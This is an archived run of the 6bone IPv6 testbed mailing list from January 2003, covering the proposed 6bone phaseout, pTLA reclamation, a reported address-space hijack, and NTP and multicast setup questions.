> > >   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
> >
> > The 6bone IPv6 mirror apparently hasn't mirrored the file,
>
>I think this is a bad situation. Why isn't the 6bone website on a
>dual stack server?

Working on that. Wait a bit.


Thanks,

Bob 


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Date: Sun, 12 Jan 2003 17:31:02 -0800
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 3FFE:4014::/32 - Another pTLA space hijack
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Nicolas,

Thanks for letting me know.

I'll take it from here.


Bob

===
At 12:30 AM 1/12/2003 +0100, Nicolas DEFFAYET wrote:
>Hi all,
>
>I have discover another pTLA space hijack:
>
>--------------------------------------------------------------------->
>Sun Jan 12 00:12:55 CET 2003
>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>ipv6-site:    6BONE
>origin:       AS293
>descr:        IETF NGTRANS Working Group IPv6 Testbed
>prefix:       3FFE::/16
>contact:      RLF1-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>url:          http://www.6bone.net
>notify:       fink@es.net
>mnt-by:       RLF1-6BONE
>changed:      fink@es.net 20001128
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>inet6num:     3FFE:4014::/32
>netname:      ircspace
>descr:        ircspace test ipv6
>country:      IT
>admin-c:      PD77-6BONE
>tech-c:       PD77-6BONE
>mnt-by:       ROBBTEK
>changed:      proliste@libero.it 20021128
>source:       6BONE
>
>person:       Robert L. Fink
>address:      ESnet - Lawrence Berkeley National Laboratory
>phone:        +1 510 486 5692
>e-mail:       fink@es.net
>nic-hdl:      RLF1-6BONE
>remarks:      change to my esnet email address
>remarks:      This object is automatically converted from the RIPE181
>registry
>notify:       fink@es.net
>mnt-by:       RLF1-6BONE
>changed:      fink@es.net 19991206
>changed:      fink@es.net 20000521
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>person:       Roberto Milani
>address:      via padova 17
>phone:        +390721335478
>nic-hdl:      PD77-6BONE
>mnt-by:       ROBBTEK
>changed:      proliste@libero.it 20021128
>source:       6BONE
>--------------------------------------------------------------------->
>
>Why we don't protect the 6bone whois database with mnt-lower ?
>
>
>Best Regards,
>
>--
>Nicolas DEFFAYET, NDSoftware
>NOC Website: http://noc.ndsoftwarenet.com/
>FNIX6: http://www.fnix6.net/
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From bob@thefinks.com Sun Jan 12 17:42:34 2003
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Date: Sun, 12 Jan 2003 17:42:20 -0800
To: Pim van Pelt <pim@ipng.nl>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 6bone phaseout planning announcement
Cc: 6BONE List <6bone@mailman.isi.edu>
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Pim,

At 06:41 PM 1/12/2003 +0100, Pim van Pelt wrote:
>|   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
>|
>| Note that the plan and dates stated in the draft are only for discussion.
>| It is now up to the IETF open process to establish the actual plan and
>| timing.
>
>I have read the document and I agree to all of your suggestions and
>remarks. Note that repeat yourself once in the document:
> > This document is intended to obsolete RFC 2471, "IPv6 Testing Address
> > Allocation", December, 1998.  RFC 2471 will become historic.

On purpose. The abstract has it so it can appear alone and state this, and 
the body of the draft has it. If that's what you meant.


>About the dates, 7/2004 through 7/2006 seems to be quite a long time in
>my opinion. I'd like to see 7/2005 as closing date, because one year of
>deployment practice should be enough for most companies.
>
>Perhaps when time progresses, we'll have a lot of best common practices
>regarding IPv6 deployment and administration, so that it can be
>considered a valid possibility for entities with an IPv6 deployment
>plan which requires a TLA, to simply request one from their RIR.
>
>In short: In 2005, I don't think anybody will need separated space to
>experiment in. I'd like to see the closing date moved forward to July
>2005.

Thanks for the comments.


Bob  


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Date: Sun, 12 Jan 2003 18:01:46 -0800
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 6bone phaseout planning announcement 
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Michel,

Thanks for the comments.

Sassacaia may be good, but not that good :-)


Bob


At 09:43 PM 1/10/2003 -0800, Michel Py wrote:
>Bob, Bob, 6boners,
>
> > Bob Fink wrote:
> > The following draft has been submitted to the IETF ID directory,
> > but hasn't appeared yet, so I have placed it on the 6bone web site.
>
>It has appeared now, see:
>http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-00.txt
>
>Short comments [before the long ones]:
>- I think that such a document is necessary, and I support it.
>
> > Jordi Palet Martinez wrote:
> > 3) It seems to me that we must allocate pTLAs until January 1st
> > 2006 (6 months can still do a lot for "last minute" newcomers).
>
>- I agree with Jordi here that 6 months before the sunset seems a 
>reasonable limit to me to allocate new pTLAs.
>
>- The sunset in July (vs. January) seems a good idea to me. Operationally 
>speaking, July is better time of year to monkey with filter-lists.
>
>- I would personally be favorable to a sunset one year after what you 
>proposed, July 1 2007. This is a matter of appreciation and shall be 
>discussed. The 2006 sunset is reasonable as well, IMHO.
>
>- This might push things behind what some have in mind, so I have a 
>question for Bob Fink:
>Bob, by then your house will be completed. How many bottles of Sassacaia 
>does it take for you to stay at the helm until 2007?
>
>
>Long comments:
>[disclaimer] Most of what follows are arguments about why the 6bone should 
>be shut down. It does *not* mean that I think the 6bone is bad. I just 
>don't have time to write about why it is good, as it does not need 
>justification. 6bone ROCKS.
>
>That being said, there are two main reasons why the 6bone needs to sunset.
>1. The prefix MUST be reclaimed.
>2. The 6bone will at some point handicap the development of a
>    native IPv6 backbone.
>
>1. The prefix must be reclaimed.
>We must make clear that the 6bone is, has always been, and will always be 
>EXPERIMENTAL, which means it is not a cheap substitute for temporary 
>portable address space that is to be transformed into permanent portable 
>address space.
>
>I am not a pTLA. I am not stupid though; if I feel that the pTLA status is 
>a shortcut to a permanent /32 portable address space, I will setup 
>overnight something (like adding a cable modem to my residential aDSL, 
>that does not remind anybody anything, does it) that exceeds RFC 2772 and 
>become one.
>We must foil schemes that will lead to a landrush a year before sunset and 
>leave us with the déjà vu of the IPv4 swamp.
>
>
>2. The 6bone will at some point handicap the development of a
>    native IPv6 backbone.
>
>The current situation, everyone providing free transit to everyone and no 
>IPv6 DFZ is no business model.
>
>It has worked so far because there is no money to make with IPv6 (the 
>crumbs the handful of commercial v6 ISPs are making today are 3 orders of 
>magnitude below what it takes to build a backbone).
>As of today, the volunteer efforts of what is collectively the 6bone have 
>been a launchpad for IPv6.
>At some point, a real commercial backbone is needed though. I wish IPv6 
>service could be free forever, bit this simply is not the way it works.
>
>The challenge we are facing is to time the 6bone sunset when it will 
>become more an obstacle than it is a benefit today.
>
>What are the reasons that I think 2007 would be more appropriate than 2006:
>- Deployment of commercial IPv6 remains confidential. The "killer app" 
>that would launch v6 into orbit has not been found yet, and given the 
>current state of the economy 3 years is not enough for a launch.
>- Until v6 becomes mainstream, a boatload of 2001:: tunnel brokers is no 
>improvement over a truckload of 3FFE:: tunnel brokers.
>- There is no IPv6 multihoming solution as of today.
>
>In short: I generally approve the text. My reading of fine-tuning is that 
>it realistically appears a little short-timed, but I would support a 2006 
>sunset.
>
>Michel.


From michel@arneill-py.sacramento.ca.us Sun Jan 12 19:43:55 2003
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Subject: RE: [6bone] 6bone phaseout planning announcement
Date: Sun, 12 Jan 2003 19:43:48 -0800
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>> Michel Py wrote:
>> - I agree with Jordi here that 6 months before the sunset seems
>> a reasonable limit to me to allocate new pTLAs.

> Ronald van der Pol wrote:
> I like the phases in Bob's draft. We all know what will happen.
> On July 1, 2004 people will start screaming that 6bone allocations
> have "suddenly stopped". It will take some time before people
> start realizing that the 6bone is something that will end.
> Hopefully, with the 2004 phase it will be easier to completely end
> the 6bone in 2006.

There is some truth to that :-)

I will support the text with whatever date we come up with, but the
point I am trying to make is:

It's not because *we* might consider that we have learned all we
possibly could from the 6bone that we must generalize it. Most potential
ISPs or pTLAs have not even begun to look at IPv6 because there is no
money to make in it and no demand. Adoption of v6 is a lot longer than
anticipated 6 years ago, and the 6bone still is a niche same as IPv6.

In other words, I don't think we should kill the 6bone before it has
become the experimental environment for mainstream ISPs, not only for
the very small set it represents today.

Michel.


From yjchui@cht.com.tw Sun Jan 12 21:58:34 2003
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To: "Abdul Basit" <basit@basit.cc>, <snap-users@kame.net>
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Subject: Re: [6bone] ntp/kame
Date: Mon, 13 Jan 2003 13:56:52 +0800
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     I have tested NTP on freeBSD for the IPv6 function. But it can not work
properly under IPv6 protocol (but it works under IPv4) and I can not find
the problem.

Y.J. Chu
E-mail: yjchui@cht.com.tw
----- Original Message -----
From: "Abdul Basit" <basit@basit.cc>
To: <snap-users@kame.net>
Cc: <6bone@mailman.isi.edu>
Sent: Friday, January 10, 2003 2:16 PM
Subject: [6bone] ntp/kame


>
> Hi,
>
>  Has anyone checked out ntp ipv6 implementation?
> as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
> 4.1.0 (patched from viaganie patch) worked on kame/freebsd
> (snap 6'th jan).
>
> viaganie patched ipv6 results in not IPV6_ONLY error
> and others do not recognize ipv6 address notion.
>
> - basit
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From dan@reeder.name Sun Jan 12 22:19:42 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] 6bone phaseout planning announcement
Date: Mon, 13 Jan 2003 16:19:23 +1000
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"In other words, I don't think we should kill the 6bone before it has become
the experimental environment for mainstream ISPs, not only for the very
small set it represents today."

Originally I was going to say something along the lines of "Ah, but that is
the crux of the matter. My emails last week regarding the availability of
2002:: gateways yells at the fact that most ISPs in the world DON'T provide
any sort of v6 connectivity, commercial or otherwise, and as such the
greater their contact with v6 technologies the better."
 
But instead of coming to the conclusion that 3ffe should stay for
experimentation purposes and encouraging deployment, I then had the idea
that perhaps it is of a detriment to the adoption of v6 technologies on a
commercial basis; not only would ISPs have two protocols to deal with, but
one of those protocols would/should (that's debatable though) need to be
connected to two backbones. To me, being a young network admin yet trying to
imagine what someone in 2010 would think of today's occurrences, the thought
of having to deal with v6 at this point in time just reeks of an exercise in
needless complexity, not to mention a feeling of "let's leave it to the
university folk to sort it out".

Is there any point in having a space reserved for
experimentation/education?? Why should people be screaming bloody murder in
the near future, just because 3ffe is about to be decommissioned? Isn't it
all in the lead up to 2001:: connectivity anyway?
With regards to he 2001:: address space and operations of the v6 internet as
we know it at this point in time, I can't think of any harm that could come
about as a result of some ISP in "Neverland" having a go. Granted, the
circumstances are different, but the deployment of v4 and the operations of
the net over the last 20-odd years have been relatively fine, have they not?
Haven't we already got tools and administrative powers to curb any sort of
odd/abnormal/detrimental behaviour that may happen as a result of the world
+ dog joining up? (Feel free to debunk me on these points btw)

The sooner 3ffe:: is killed the better, I say. Force/encourage the RIRs to
offer netblocks *cheaply*.  Make the transition from v4 to v6 as simple as
possible, cheap as possible, and as logical as possible. Cowboy hats and
bandwagons aside, I know I speak for many people reading this list when I
say that I'll be damned if I have learnt (and continue to learn) what there
is to know about v6 only to have a few beers with some friends in 2010
reminiscing (read crying into my pint) about the flop that was IPv6.

Gratefully donating my AU$0.022 (inc. GST) to the conversation,
Dan Reeder

-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu] On
Behalf Of Michel Py
Sent: Monday, 13 January 2003 1:44 PM
To: Ronald van der Pol
Cc: 6bone@ISI.EDU
Subject: RE: [6bone] 6bone phaseout planning announcement

>> Michel Py wrote:
>> - I agree with Jordi here that 6 months before the sunset seems
>> a reasonable limit to me to allocate new pTLAs.

> Ronald van der Pol wrote:
> I like the phases in Bob's draft. We all know what will happen.
> On July 1, 2004 people will start screaming that 6bone allocations
> have "suddenly stopped". It will take some time before people
> start realizing that the 6bone is something that will end.
> Hopefully, with the 2004 phase it will be easier to completely end
> the 6bone in 2006.

There is some truth to that :-)

I will support the text with whatever date we come up with, but the
point I am trying to make is:

It's not because *we* might consider that we have learned all we
possibly could from the 6bone that we must generalize it. Most potential
ISPs or pTLAs have not even begun to look at IPv6 because there is no
money to make in it and no demand. Adoption of v6 is a lot longer than
anticipated 6 years ago, and the 6bone still is a niche same as IPv6.

In other words, I don't think we should kill the 6bone before it has
become the experimental environment for mainstream ISPs, not only for
the very small set it represents today.

Michel.

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


From jhay@zibbi.icomtek.csir.co.za Sun Jan 12 22:30:55 2003
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From: John Hay <jhay@icomtek.csir.co.za>
Message-Id: <200301130630.h0D6UNX6065124@zibbi.icomtek.csir.co.za>
Subject: Re: (KAME-snap 7395) Re: [6bone] ntp/kame
In-Reply-To: <005a01c2bac8$9284fdd0$27a9900a@twinkletaipei> from yjchui at "Jan 13, 2003 01:56:52 pm"
To: snap-users@kame.net
Date: Mon, 13 Jan 2003 08:30:22 +0200 (SAT)
Cc: basit@basit.cc (Abdul Basit), 6bone@mailman.isi.edu
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>      I have tested NTP on freeBSD for the IPv6 function. But it can not work
> properly under IPv6 protocol (but it works under IPv4) and I can not find
> the problem.

Please try the ntp-dev code in the bitkeeper repository and if you still
have problems report them to bugs@ntp.org so that we can fix them. See

http://www.eecis.udel.edu/~ntp/download.html

to get bitkeeper and the ntp-dev source.

I'm using it here in a lot of different configurations on FreeBSD and it
works just fine for me. (Stratum 1, 2 and 3, with and without crypto,
plain client-server, multicast, manycast, also various versions of
FreeBSD from about 4.4 up to -current.) One thing that I haven't tried,
is a box with only the IPv6 stack.

John
-- 
John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org

From basit@basit.cc Mon Jan 13 03:12:41 2003
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I downloaded ntp-dev using bitkeeper
thanks it worked

wireless@root ntp-dev>./ntpdate/ntpdate ntp.immanent.net
Looking for host ntp.immanent.net and service 123
host found : fbruckman1.tsps1.freenet6.net
13 Jan 05:12:07 ntpdate[13342]: step time server 3ffe:b80:2:b23::2 offset
-90.620903 sec

-- basit


On Mon, 13 Jan 2003, John Hay wrote:

> >      I have tested NTP on freeBSD for the IPv6 function. But it can not work
> > properly under IPv6 protocol (but it works under IPv4) and I can not find
> > the problem.
>
> Please try the ntp-dev code in the bitkeeper repository and if you still
> have problems report them to bugs@ntp.org so that we can fix them. See
>
> http://www.eecis.udel.edu/~ntp/download.html
>
> to get bitkeeper and the ntp-dev source.
>
> I'm using it here in a lot of different configurations on FreeBSD and it
> works just fine for me. (Stratum 1, 2 and 3, with and without crypto,
> plain client-server, multicast, manycast, also various versions of
> FreeBSD from about 4.4 up to -current.) One thing that I haven't tried,
> is a box with only the IPv6 stack.
>
> John
> --
> John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org
>


From pim@ipng.nl Mon Jan 13 05:46:14 2003
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Subject: Re: (KAME-snap 7395) Re: [6bone] ntp/kame
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John,
| Please try the ntp-dev code in the bitkeeper repository and if you still
| have problems report them to bugs@ntp.org so that we can fix them. See

I downloaded bitkeeper and the repo and everything worked like a charm.
I now have two stratum 2 servers ntp1.bit.nl and ntp2.bit.nl running
dualstack unicast.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From tjc@ecs.soton.ac.uk Mon Jan 13 06:08:29 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] 6bone phaseout planning announcement
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On Mon, Jan 13, 2003 at 04:19:23PM +1000, Dan Reeder wrote:
> 
> Is there any point in having a space reserved for
> experimentation/education?? Why should people be screaming bloody murder in
> the near future, just because 3ffe is about to be decommissioned? Isn't it
> all in the lead up to 2001:: connectivity anyway?

Well, would, for example, the Euro6IX allocation have been made under the
existing SubTLA allocation rules?  I don't believe so.

The new SubTLA rules are more relaxed; the sudden take-off in allocations
makes me believe people who were using pTLAs are migrating (most of the
European research networks have, for example), or new requests are bypassing
the pTLA stage (which they can now do).   The "experimentors" are already
running in 2001:: space.

Tim

From gert@Space.Net Mon Jan 13 06:46:33 2003
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To: Pim van Pelt <pim@ipng.nl>
Cc: John Hay <jhay@icomtek.csir.co.za>, snap-users@kame.net,
   Abdul Basit <basit@basit.cc>, 6bone@mailman.isi.edu
Subject: Re: (KAME-snap 7395) Re: [6bone] ntp/kame
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Hi,

On Mon, Jan 13, 2003 at 02:45:21PM +0100, Pim van Pelt wrote:
> | Please try the ntp-dev code in the bitkeeper repository and if you still
> | have problems report them to bugs@ntp.org so that we can fix them. See
> 
> I downloaded bitkeeper and the repo and everything worked like a charm.
> I now have two stratum 2 servers ntp1.bit.nl and ntp2.bit.nl running
> dualstack unicast.

Same here, ntp6.space.net - thanks.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55593  (55180)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From rvdp@rvdp.org Mon Jan 13 10:46:57 2003
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Pekka Savola <pekkas@netcore.fi>
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On Sun, Jan 12, 2003 at 16:51:58 +0200, Pekka Savola wrote:

> Thus I'd be OK with an even quicker phaseout plan.

I agree. Phasing out the 6bone is a clear sign that the times of
experimenting are over. The sooner the better.


	rvdp

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On Sun, 12 Jan 2003, Jeroen Massar wrote:

> Maybe it's a good plan to let every pTLA holder give a little sum-up of
> where they are using their TLA's for ?

The COMPENDIUM pTLA is used to provide ipv6 connectivity to
people and organisations in places where ipv6 connectivity
isn't available from ISPs (yet).

I'm also using it for nl.linux.org; there might be native
ipv6 to the gateway of the university, but none of the
networks inside the university have ipv6 because of some
burocratic reason ;(

I'd love to use native ipv6, but it's just not there yet.

Btw, the ability to tunnel a static ipv6 address over a
dynamic ipv4 address is also pretty important to people
who get their email over ipv6 ;))

Rik
-- 
Bravely reimplemented by the knights who say "NIH".
http://www.surriel.com/		http://guru.conectiva.com/
Current spamtrap:  <a href=mailto:"october@surriel.com">october@surriel.com</a>

From wimbie@surfnet.nl Wed Jan 15 01:22:08 2003
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From: Wim.Biemolt@ipv6.surfnet.nl
To: Rik van Riel <riel@conectiva.com.br>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone phaseout planning announcement
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On Tue, Jan 14, 2003 at 05:57:13PM -0200, Rik van Riel wrote:

<snip>

> I'm also using it for nl.linux.org; there might be native
> ipv6 to the gateway of the university, but none of the
> networks inside the university have ipv6 because of some
> burocratic reason ;(

Do you happen to know what this burocratic reason is? We
have native IPv6 to all our universities. But sadly most
of them seem to think IPv6 is something they need to
delay until they retire. Which makes it somewhat harder
to justify native IPv6 them (and others) if there seems
to be no clear need for IPv6.

-Wim -/- SURFnet

From basit@basit.cc Wed Jan 15 05:44:46 2003
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From: Abdul Basit <basit@ip6.basit.cc>
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Hey,

 I am interested in establishing a IPv6-IPv4 or even IPv6-IPv6 multicast
tunnel, is there anyone in USA that can offer me IPv6 multicast transit?
It will be better if within USA obviously because of the nature of traffic
(video). I am not able to find any site within USA to provide the
transit.(i can only find someone in france according to list at
http://sem2.renater.fr/m6bone/sites-map.html).

 Please let me know back.

Thanks
Abdul Basit
NextGenCollective.net


From dillema@pasta.cs.uit.no Wed Jan 15 06:34:59 2003
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Date: Wed, 15 Jan 2003 15:34:48 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: snap-users@kame.net
Cc: 6bone@mailman.isi.edu
Subject: Re: (KAME-snap 7401) Re: [6bone] ntp/kame
Message-ID: <20030115143448.GE2814@pasta.cs.uit.no>
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References: <005a01c2bac8$9284fdd0$27a9900a@twinkletaipei> <200301130630.h0D6UNX6065124@zibbi.icomtek.csir.co.za> <20030113134521.GA14769@bfib.colo.bit.nl> <20030113154629.U15927@Space.Net>
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On Mon, Jan 13, 2003 at 03:46:29PM +0100, Gert Doering wrote:
> On Mon, Jan 13, 2003 at 02:45:21PM +0100, Pim van Pelt wrote:
> > | Please try the ntp-dev code in the bitkeeper repository and if you still
> > | have problems report them to bugs@ntp.org so that we can fix them. See
> > 
> > I downloaded bitkeeper and the repo and everything worked like a charm.
> > I now have two stratum 2 servers ntp1.bit.nl and ntp2.bit.nl running
> > dualstack unicast.
> 
> Same here, ntp6.space.net - thanks.
And I setup server.pasta.cs.uit.no to sync from these three (ntp1, ntp2 and ntp6).

Thanks!

Feico.

From bob@thefinks.com Fri Jan 17 09:05:45 2003
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Date: Fri, 17 Jan 2003 09:05:20 -0800
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From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, closes
  17Jan0
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6bone Folk,

The two weeks has gone by on the notice of intent to reclaim unused pTLAs. 
I have received replies from several sites (list below) and I believe we 
should let them keep their pTLAs as they are actively trying to do 
something with them.

  3ffe:400e::/32      ECITY/IT

  3ffe:1700::/24      MREN/US-IL

  3ffe:82e0::/28      LDCOM/FR

  3ffe:4002::/32      MOTOROLA-LABS/US

---
ZAMA is no longer in business and I am reclaiming their pTLA:

  3ffe:80f0::/28      ZAMA/US

---
The UNI-C IPv6-site entry notes their network is no longer operational, so 
I am reclaiming their pTLA:

  3ffe:1400::/24      UNI-C/DK

---
The remainder I will try to contact once more, individually, noting in the 
pTLA list that this process is ongoing, but their pTLA will not be 
reclaimed at this time.


  3ffe:e00::/24       IFB/GB

  3ffe:1900::/24      6COM/US-CA

  3ffe:1a00::/24      CAIRN/US

  3ffe:1b00::/24      UL/PT

  3ffe:2300::/24      INFN-CNAF/IT

  3ffe:2700::/24      ERA/SE

  3ffe:8180::/28      TIAI/US


If you have better info on the lists above, please let me know.

Stay tuned :-)


Thanks,

Bob 


From ajs@labs.mot.com Fri Jan 17 09:27:07 2003
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6bone,

Per Bob Fink's request, I am updating the list as to the status of our 
pTLA.  As of the afternoon (CST) of 1/15/2003, our pTLA is being 
advertised via MREN to the 6tap.

It was not possible for us to advertise our pTLA prior to MREN and 6tap 
putting the necessary agreements and connections in place.  This was not 
completed until earlier in the week of 1/13/2003.

(You all may have noticed that MREN's own pTLA, 3ffe:1700::/24 is also 
being advertised as of this week.)

While we are now advertising our pTLA, and continuing to provide 
connectivity to internal organizations, we will be looking into other 
arrangements in the future.  This is becoming necessary as resources 
dwindle and our "day jobs" catch up with us.

As an Abilene customer who connects to I2 via MREN, we will be pursuing 
other arrangements for 6bone and production address space in the future. 
  Our plan, once MREN and Abilene have shuffled all of the paperwork, is 
to aquire address space from Abilene's 6bone pTLA and productoin sTLA 
via MREN.  (MREN is using the 3ffe:1700::/24 pTLA for non-Abilene member 
institutions only.)  If we are successful in aquiring that address 
space, we will voluntarily return our pTLA.  Until that time, we will 
continue to use our current delegation per the guidelines established in 
RFC 2772.

(For those interested in history, Motorola Laboratories become "6bone 
ready" well before Abilene or MREN, but we still relied upon these 
organizations for connectivity.  Catch-22.  The MREN pTLA was actually 
Fermilab's at one point and was transitioned to MREN.  Prior to MREN and 
Abilene coming to agreements, it is not possible for an MREN member 
institution to get space from Abilene. Abilene refers us back to MREN. 
We tried.  All is well now.)

Regards,

Aron
-- 
Aron J. Silverton
Senior Staff Research Engineer
Motorola Laboratories, Networks and Infrastructure Research
Motorola, Inc.

Telephone: 847-576-8747
Fax: 847-576-3240
mailto: ajs@labs.mot.com


From netza@telecom.noc.udg.mx Fri Jan 17 10:21:40 2003
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Date: Fri, 17 Jan 2003 12:13:42 -0600 (CST)
From: Netzahualcoyotl Ornelas Garcia VOL <netza@telecom.noc.udg.mx>
To: Abdul Basit <basit@ip6.basit.cc>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] M6BONE
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  	Hi,
  
    We are from the University of Guadalajara in Mexico, we are a work group
  that is investigating and implementing IPv6 & IPv6 Multicast, we have a
  connection directly to the RP in France (Renater), that is the actual
  M6bone Network and is working properly, so I told them about your request
  of being connected trhougu USA, and I have suggested of doing the
  connectivity through us, What do you think about it ?
  
  We could configurate a Tunnel for your connectivity to the M6bone and
  participate in the researchs and implementations that in this moment we
  are working.
  
  For more infomation about M6Bone: http://www.m6bone.net 
  http://www.ipv6.udg.mx   (Page of the UdeG about IPv6) 
  mail: staff@ipv6.udg.mx
  
Best regards.  
  
  ** Texto sin acentos.
  Atte....
  **************************************************************************
     Netzahualcoyotl Ornelas Garcia.              .---.        .-----------
  Coordinacion de Telecomunicaciones y Redes     /     \  __  /    ------
    Network Operation Center (NOC).             / /     \(..)/    -----
      University of Guadalajara                //////   ' \/ `   ---
    e-mail: netza@noc.udg.mx                  ////// // :    : ---
            netza_10@hotmail.com             ////// /  /`    '--
  Work Phone: 011(52)3331342220             // //// /   //..\ 
  Address: Av. Juarez #976 Planta Baja    =============UU====UU====
   Col. Centro  C.P. 44100                /////////    '//||\`  
    Guadalajara Jal. Mexico.             ///////              
    "Ipv6 Staff Working Group"          ///// 
  ***************************************************************************
  
  On Wed, 15 Jan 2003, Abdul Basit wrote:
  
> 
> Hey,
> 
>  I am interested in establishing a IPv6-IPv4 or even IPv6-IPv6 multicast
> tunnel, is there anyone in USA that can offer me IPv6 multicast transit?
> It will be better if within USA obviously because of the nature of traffic
> (video). I am not able to find any site within USA to provide the
> transit.(i can only find someone in france according to list at
> http://sem2.renater.fr/m6bone/sites-map.html).
> 
>  Please let me know back.
> 
> Thanks
> Abdul Basit
> NextGenCollective.net
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
 
 
 
 
 


From bob@thefinks.com Fri Jan 17 10:34:34 2003
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Date: Fri, 17 Jan 2003 10:32:32 -0800
To: Daniel Austin <fxp0@fxp0.co.uk>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, closes 
  17Jan0
Cc: 6BONE List <6bone@mailman.isi.edu>
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Danile,

At 05:31 PM 1/17/2003 +0000, Daniel Austin wrote:
>Hi Bob,
>
>Contact email for IFB is noc@tech.ifb.net - they're still in business (at
>least in the IPv4 sense)

Thanks.

Bob 


From stuart@tech.org Sun Jan 19 10:26:26 2003
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To: 6bone@ISI.EDU
cc: noc@isc.org
Date: Sun, 19 Jan 2003 10:26:19 -0800
From: Stephen Stuart <stuart@tech.org>
Subject: [6bone] ISC is returning 3ffe:8050::/28 to the 6bone pool
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We're renumbered into our ARIN-delegated prefix, and have withdrawn
the 3ffe:8050::/28 from the global routing table. We'll be getting the
6bone whois objects and reverse DNS cleared up shortly.

ISC still welcomes any and all native peering either on PAIX's San
Francisco Bay Area switching fabric, or by private cross-connect in
Bay Area locations at which we have a presence.

Thanks,
Stephen

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Subject: Re: [6bone] ISC is returning 3ffe:8050::/28 to the 6bone pool
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Stephen,

At 10:26 AM 1/19/2003 -0800, Stephen Stuart wrote:
>We're renumbered into our ARIN-delegated prefix, and have withdrawn
>the 3ffe:8050::/28 from the global routing table. We'll be getting the
>6bone whois objects and reverse DNS cleared up shortly.
>
>ISC still welcomes any and all native peering either on PAIX's San
>Francisco Bay Area switching fabric, or by private cross-connect in
>Bay Area locations at which we have a presence.

Thanks for returning this.


Bob 


From Emanuele.Logalbo@TILAB.COM Tue Jan 21 08:30:13 2003
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Hi everybody I am a student who is trying to set up a test plant for IPv6 multicast and I use freebsd 4.7. I have not nuch experience in this field. After having installed bsd from a CD I installed the pim6sd port using ftp. Now what happens; i mean is my machine ready to work in a multicast enviroment? I read I need not only Pim-SM but also MLD. So are both of them include in the Kame snap or not. How you can noticew i am a little bit confused.Please give me hints.
Thank you and Regards.
Emanuele.



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From Emanuele.Logalbo@TILAB.COM Tue Jan 21 08:35:39 2003
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Hi everybody I am a student who is trying to set up a test plant for IPv6 multicast and I use freebsd 4.7. I have not nuch experience in this field. After having installed bsd from a CD I installed the pim6sd port using ftp. Now what happens; i mean is my machine ready to work in a multicast enviroment? I read I need not only Pim-SM but also MLD. So are both of them include in the Kame snap or not. How you can noticew i am a little bit confused.Please give me hints.
Thank you and Regards.
Emanuele.



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From bob@thefinks.com Tue Jan 21 09:21:25 2003
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From: Bob Fink <bob@thefinks.com>
Cc: Loxinfo IPv6 Team <ipv6@loxinfo.co.th>,
   6bone reverse DNS registration <hostmaster@ep.net>
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Subject: [6bone] 6bone pTLA 3FFE:4014::/32 allocated to LOXINFO-TH
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LOXINFO-TH has been allocated pTLA 3FFE:4014::/32 having finished its 
2-week review period.

   <http://whois.6bone.net/cgi-bin/whois?LOXINFO-TH>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob 


From bmanning@vacation.karoshi.com Tue Jan 21 11:13:20 2003
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Date: Tue, 21 Jan 2003 11:15:04 -0800 (PST)
Cc: hostmaster@ep.net, bmanning@vacation.karoshi.com, 6bone@ISI.EDU
In-Reply-To: <3E26F3F4.1030200@labs.mot.com> from "Aron Silverton" at Jan 16, 2003 12:03:32 PM
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> 
> Hello,
> 
> Please create a reverse DNS registration for pTLA 3ffe:4002::/32.  The 
> names servers are:
> 
> 3ffe:4002:0:2::a	dns1.ipv6.motlabs.com
> 3ffe:4002:0:2::b	dns2.ipv6.motlabs.com
> 
> Regards,
> 
> Aron
> -- 
> Aron J. Silverton
> Senior Staff Research Engineer
> Motorola Laboratories, Networks and Infrastructure Research
> Motorola, Inc.

Done.

